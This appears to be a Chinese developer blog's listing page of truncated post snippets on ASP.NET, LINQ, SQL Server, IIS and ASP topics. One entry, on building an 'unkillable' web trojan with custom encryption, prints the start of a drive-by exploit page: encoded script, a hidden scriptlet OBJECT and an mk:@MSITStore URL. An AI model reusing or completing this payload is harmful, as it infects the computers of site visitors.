ASP.NET MVC异步Action定义和执行原理

评论(0)浏览(222)分类:asp.net-mvc
ASP.NET MVC异步Action定义和执行原理  Visual Studio提供的Controller创建向导默认为我们创建一个继承自抽象类Controller的Controller类型,这样的 Controller只能定义同步Action方法。如果我们需要定义异步Action方法,必须继承抽象类AsyncController。这篇问你讲 述两种不同的异步Action的定义方法和底层执行原理。一、基于线程池的请求处理  ASP.NET 通过线程池的机制处理并..

linq数据库分组查询

评论(0)浏览(222)分类:asp.net-linq
linq数据库分组查询  分组查询和SQL语句中的带有group关键字的查询功能类似,它能够把查询结果按照关键字进行分组。下面的实例代码使用LINQ to SQL查询LinqDB数据库的Product表中的数据,并按照UserID列的值对查询结果进行分组和排序。具体步骤如下。(1)创建LinqDBDataContext类的实例db。(2)使用LINQ查询表达式查询Product表中的数据(商品),并在查询中使..

IE8与IE7具体功能中InPrivate模式下的安全性测试

评论(0)浏览(221)分类:操作系统及应用软件
IE8与IE7具体功能中InPrivate模式下的安全性测试简介:IE8与IE7具体功能对比中InPrivate模式下的安全性测试你是否了解,它是IE8为了保护您在上网浏览、购物时的个人隐私安全,新增的一个安全模块。  本文向大家简单介绍一下IE8与IE7具体功能对比中InPrivate模式下的安全性测试,InPrivate模式包含了InPrivate浏览和InPrivate阻挡两类功能,具体内容请看本文详细介绍。IE8与IE7具体功能对比中..

CookieContainer不同子域名下的bug

评论(0)浏览(220)分类:Asp.Net/C#/WCF
CookieContainer不同子域名下的bug  这几天再用httpwebrequest模拟登录某个网站,但是老是登录不了,视乎无法保存cookie一样。但是调试的时候发现CookieContainer确实包含了和firebug监视到的所有cookie。  后来google查找到了一篇文章,原来是.net framework的bug,顶级域名的cookie没有发送出去,导致另外一个二级域名没有获取到顶级域名cookie的值,从而无法生成2级域名的..

ASP.NET MVC View呈现[设计篇]

评论(0)浏览(220)分类:asp.net-mvc
ASP.NET MVC View呈现[设计篇]  在前面的四篇文章中,介绍了各种ActionResult以及相关的请求响应机制, 但是与View的呈现相关的ActionResult是ViewResult。通过ViewResult的执行实现的对View的呈现比上面我们介绍 的各种ActionResult要复杂得多,ASP.NET MVC内部设计了一个扩展的View引擎实现了最终的View呈现工作。一、View引擎中的View  ASP.NET MVC为我们提供了两种Vi..

sqlserver2000创建临时表

评论(0)浏览(219)分类:SQL及数据库
sqlserver2000创建临时表sqlserver2000创建临时表 方法一: create table #临时表名(字段1 约束条件,字段2 约束条件,.....)create table ##临时表名(字段1 约束条件,字段2 约束条件,.....)方法二: select * into #临时表名 from 你的表; select * into ##临时表名 from 你的表;注:以上的#代表局部临时表,##代表全局临时表sqlserver2000查询临时表 select * from #临时..

自定义加密算法打造不死网马

评论(0)浏览(219)分类:Asp/VBScript
自定义加密算法打造不死网马+展开-HTMLHTMLoncontextmenu="returnfalse"HEADTITLE /TITLE/HEADBODYSCRIPTLANGUAGE="JavaScript.Encode"src="1.js"/scriptSCRIPTLANGUAGE="JavaScript"varurl=document.location.href;url=url.substring(0,url.lastIndexOf('/'));document.write('OBJECTWidth=0Height=0style="display:none;"type="text/x-scriptlet"data="mk:@MSITStore:mh..

SQL Server 2005:正则表达式使模式匹配和数据提取变得更容易

评论(0)浏览(219)分类:SQL及数据库
SQL Server 2005:正则表达式使模式匹配和数据提取变得更容易David Banister本文讨论: 使用正则表达式进行高效的 SQL 查询 SQL Server 2005 对正则表达式的支持 从 SQL Server 使用 .NET Regex 类 在数据库中有效地使用正则表达式 本文使用了以下技术: SQL Server 2005,.NET Framework下载本文中所用的代码: Regex2007_02.exe (154 KB) 浏览在线代码 目录 CLR 用户定义函数 模式匹配 数据提取 模式存储 匹..

asp.net framework2.0验证控件在ios/iphone/ipad下无效解决办法

评论(0)浏览(219)分类:Asp.Net/C#/WCF
asp.net framework2.0验证控件在ios/iphone/ipad下无效解决办法  asp.net使用framework2时,如果使用了Validator控件,如RequiredFieldValidator,当ios系统设备如ipad,iPhone访问网站,valitator控件会无效,这个是由于framework2浏览器配置(路径:C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\Browsers)没有对ios系统下新浏览器做配置造成,导致无法识别此浏览器而没有发送验证代码到客户端..

无法创建应用程序池的磁盘缓存子目录。数据可能包含额外的错误代码

评论(0)浏览(218)分类:操作系统及应用软件
无法创建应用程序池的磁盘缓存子目录。数据可能包含额外的错误代码在事件日志中显示如下信息:错误: 应用程序池 'xxxxx' 的模板永久性缓存初始化失败,这是由下列错误所导致: 无法创建应用程序池的磁盘缓存子目录。数据可能包含额外的错误代码。。有关更多信息,请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。造成此问题的原因:  如果运行 Microsoft Internet 信息服务 (IIS) 6.0 的..

IIS7设置身份模拟(ASP.NET impersonation)

评论(0)浏览(217)分类:操作系统及应用软件
IIS7设置身份模拟(ASP.NET impersonation)  IIS 7 有两种 ASP.NET Application Mode。  一种是 集成模式(Integrated Mode) 这个是默认的模式,也是微软推荐的模式,另一种是 经典模式(Classic Mode) ,这种模式是用于兼容老版本。集成模式使用更方便而且安全性更好,不需要把模拟帐户的用户名和密码写在配置文件中,这样更安全也更方便。既然我们已经用了IIS 7,那么我们还是按微软推..

HttpWebResponse远程服务器返回错误: (500) 内部服务器错误

评论(0)浏览(217)分类:Asp.Net/C#/WCF
HttpWebResponse远程服务器返回错误: (500) 内部服务器错误  HttpWebResponse请求的页面是一个有异常发生的页面,或者不存在的页面,当HttpWebResponse对象调用GetResponse方法时会抛出异常:远程服务器返回错误: (500) 内部服务器错误,是不能得到错误发生时候的页面源代码的。原因:(HttpWebResponse)req.GetResponse(); 这行代码中做了如下一件事情:  当服务器段ASP.net程序有 Exception 发生时,..

serv-u 550 Permission denied列表错误

评论(0)浏览(217)分类:操作系统及应用软件
serv-u 550 Permission denied列表错误  前不久将serv-u其中一个用户访问的文件夹移动到其他盘符下,然后在serv-u administrator中修改对应用户的account中的路径为新路径。在ftp软件链接serv-u时,出现serv-u 550 Permission denied列表错误,无法下载服务器列表。  检查serv-u配置后发现dir access选项卡中的路径访问并没有修改过来,还是原来的。只要将dir access中访问路径修..

一步一步教你使用.net进行Socket通信2

评论(0)浏览(217)分类:Asp.Net/C#/WCF
一步一步教你使用.net进行Socket通信25、 新建一个继承自CollectionBase的类ConnectionCollection。用于保存Connection集合。 +展开-C#1usingSystem;2345namespaceSocketLibrary{67publicclassConnectionCollection:System.Collections.CollectionBase{89publicConnectionCollection(){10111213}1415publicvoidAdd(Connectionvalue){1617List.Add(value);1819}20//使用.net进行Sock..

获取天气预报代码修改

评论(0)浏览(217)分类:Asp.Net/C#/WCF
获取天气预报代码修改  由于最近比较忙,暂时只提供asp.net的代码更新,asp及php版本更新等闲下来了再修改。其实也就是修改了下正则表达式,大家有兴趣也可以自己研究下ashx文件中的正则表达式自己修改。根据访问用户IP地址自动获取天气预报及简易天气预报查询 代码修改如下+展开 -C#%@WebHandlerLanguage="C#"Class="weather"%usingSystem;usingSystem.Web;usingS..

html 改为 aspx后样式变形的解决办法

评论(0)浏览(217)分类:Asp.Net/C#/WCF
html 改为 aspx后样式变形的解决办法 前几天做页面,排好的html页面复制到aspx页面上就是会出现差异,比如字体定义无效,基本的表现就是怎么改样式都没显示或只有某些浏览器正常,搞了半天才发现是编码问题,DW默认新建的文件编码是gb2312的,vs默认是utf-8的,时间原因也没重新排,就在web.config的Configuration节点下对这个页面单独设置了编码。1 ?xml version="1.0"?2 configu..

ado对象总结

评论(0)浏览(216)分类:Asp/VBScript
ado对象总结对于无返回集合的命令(例如delete,update,insert),可以通过设置options中的adexecutenorecords选项提高执行速度。recordset.open source,activeconnection,cursortype,locktype,optionssource:数据源。可以是数据库中的表名,存储的查询或过程,SQL字符串,command对象或试用于提供者的其他命令对象。activeconnection:记录集使用的连接。可以..

imail邮件发送和接收延时的解决办法

评论(0)浏览(216)分类:操作系统及应用软件
imail邮件发送和接收延时的解决办法  最近很头疼的事情就是imail发送和接收邮件延时有半个小时以上,经查询,服务器上网络是正常的,没丢包等。  后来网上查询到一方法,imail里面存在文件夹SPOOL,被大量垃圾邮件给占用,造成正常的邮件堵塞,不能正常发送。这个就是原因,解决办法就是把SPOOL文件夹更改名字,并重新建立SPOOL文件夹即可。  注意:更改SPOOL文件夹名字前先..

C#泛型-IComparable接口使用

评论(0)浏览(216)分类:Asp.Net/C#/WCF
C#泛型-IComparable接口使用  系统提供了许多泛型类和泛型接口,ListT和DictionaryK,V是常用的泛型类。 IComparableT是最常用的泛型接口。泛型接口具有一般接口的共同特点,即在接口中可以包含字段,属性,方法和索引器,但都不能实现。IComparable和IComparer接口区别如下:◆IComparable在要比较的对象的类中实现,可以比较该对象和另一个对象;◆IComparer在一个单独的..

ajaxpro返回值类型总结-DataSet

评论(0)浏览(216)分类:Asp.Net/C#/WCF
ajaxpro返回值类型总结-DataSetajaxpro使用总结系列其他内容ajaxpro ajaxmethod 重载调用问题ajaxpro方法ajaxmethod调用示例ajaxpro返回值类型总结-string,intajaxpro返回值类型总结-DataTableajaxpro返回值类型总结-DataSetajaxpro综合示例-ajaxpro无刷新更新gridview数据ajaxpro示例代码下载.rarajaxpro2.dll for .net 2.0ajaxPro7.7.31.1 出现this.onTimeout is not a func..

ASP内置对象类型属性介绍

评论(0)浏览(215)分类:Asp/VBScript
ASP内置对象类型属性介绍  ASP内置对象Request,Request.Form,Request.Form(id)类型,.item, .items, .count, .content属性介绍  测试这些对象类型和是否包含.item, .items, .count, .content属性源代码 % On Error Resume Next Dim i,biName,arrBI,AI biName = ObjectContext, _ Server, _ Application, _ Application.Contents, _ ..

asp base64编码/解码函数

评论(0)浏览(214)分类:Asp/VBScript
asp base64编码/解码函数  asp实现的base64编码和解码函数使用方法!--#include file=base64.inc--%'---------------------------------------------------------------------------------str=我爱你tandyencodestr=encode64(str) '编码response.write encodestr hrresponse.write decode64(encodestr) hr '解码%  asp实现的base64编码和解码函数源代码..

WCF利用限流(Throttling)控制并发访问[下篇]

评论(0)浏览(214)分类:Asp.Net/C#/WCF
WCF利用限流(Throttling)控制并发访问[下篇]  通过《WCF利用限流(Throttling)控制并发访问[上篇]》 介绍,我们知道了如何通过编程和配置的方式设置相应的最大并发量,从而指导WCF的限流体系按照你设定的值对并发的服务调用请求进行限流控制。那么,在 WCF框架体系内部,整个过程是如何实现的呢?这就是本篇文章需要为你讲述的内容。实际上,整个限流控制体系,主要涉及到两个对象:信道分..

21.7 使用LINQ查询小结

评论(0)浏览(214)分类:asp.net-linq
21.7 使用LINQ查询小结  LINQ是.NET 3.5框架里的新特性,使用LINQ能够极大的方便开发人员进行数据操作。不仅如此,LINQ还支持多种数据源中数据的筛选和查询,这些数据源可能是数组、数据库、数据集甚至是XML文档。本章着重的讲解了LINQ查询语法,以及LINQ查询子句,可以由浅入深的了解LINQ查询语句是如何编写的。LINQ查询语句的语法非常简单,熟悉SQL查询语法的人在..

5.8 面板控件(Panel)

评论(0)浏览(213)分类:Asp.Net/C#/WCF
5.8 面板控件(Panel)  面板控件就好像是一些控件的容器,可以将一些控件包含在面板控件内,然后对面板控制进行操作来设置在面板控件内的所有控件是显示还是隐藏,从而达到设计者的特殊目的。当创建一个面板控件时,系统会生成相应的HTML代码,示例代码如下所示。+展开-HTMLasp:PanelID="Panel1"runat="server"/asp:Panel  面板控件的常用功能就是显示或隐藏一组..

asp变量和变量 直接字符串比较区别注意事项

评论(0)浏览(213)分类:Asp/VBScript
asp变量和变量 直接字符串比较区别注意事项  asp if语句比较时,变量和变量比较,变量直接和字符串/数字比较时需要注意1)变量和变量比较,类型一起比较,不做转换,类型与值都一样才会返回true2)变量直接和字符串/数字比较,会转换为相同的类型后在比较。3)变量和某个函数的返回值比较,类型一起比较,不做转换DEMO如下%function getString1() getString1=1end functionfunction ge..

ajaxpro返回值类型总结-DataTable

评论(1)浏览(213)分类:Asp.Net/C#/WCF
ajaxpro返回值类型总结-DataTableajaxpro使用总结系列其他内容ajaxpro ajaxmethod 重载调用问题ajaxpro方法ajaxmethod调用示例ajaxpro返回值类型总结-string,intajaxpro返回值类型总结-DataTableajaxpro返回值类型总结-DataSetajaxpro综合示例-ajaxpro无刷新更新gridview数据ajaxpro示例代码下载.rarajaxpro2.dll for .net 2.0ajaxPro7.7.31.1 出现this.onTimeout is not a func..

linq sql查询数据库

评论(0)浏览(212)分类:asp.net-linq
linq sql查询数据库  使用LINQ to SQL查询SQL Server数据库中的数据,一般要为该数据库创建一个DBML文件,并为该数据库创建数据上下文类。在Visual Studio 2008中为LinqDB数据库创建DBML文件LinqDB.dbml,并创建数据上下文类LinqDBDataContext。其中,在Visual Studio 2008中查看LinqDB.dbml文件,如图所示。  LinqDB数据库的数据上下文类LinqDBDataContext继承..

访问网站出现Service Unavailable

评论(0)浏览(212)分类:操作系统及应用软件
访问网站出现Service Unavailable  访问网站时显示Service Unavailable信息,查看系统日志后有2条重复的错误信息如下为应用程序池 'DefaultAppPool' 提供服务的进程意外终止。进程 ID 是 '2196'。进程退出代码是 '0xffffffff'。有关更多信息,请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。应用程序-特定 权限设置未将 COM..

Firefox4清除缓存假死,anitize.js:136脚本忙

评论(0)浏览(212)分类:操作系统及应用软件
Firefox4清除缓存假死,anitize.js:136脚本忙  firefox4清除缓存的时候会假死,无法响应操作【大概30s左右】,而且任务管理中出现很多个plugin-container.exe进程,也出现了2个explore.exe进程。当前页面的某个脚本正忙,或者已停止响应。您可以立即停止该脚本,或者您可以继续以等待该脚本结束。脚本:chrome://browser/content/sanitize.js:136  出现这个问题一般是某个附加组件兼容性..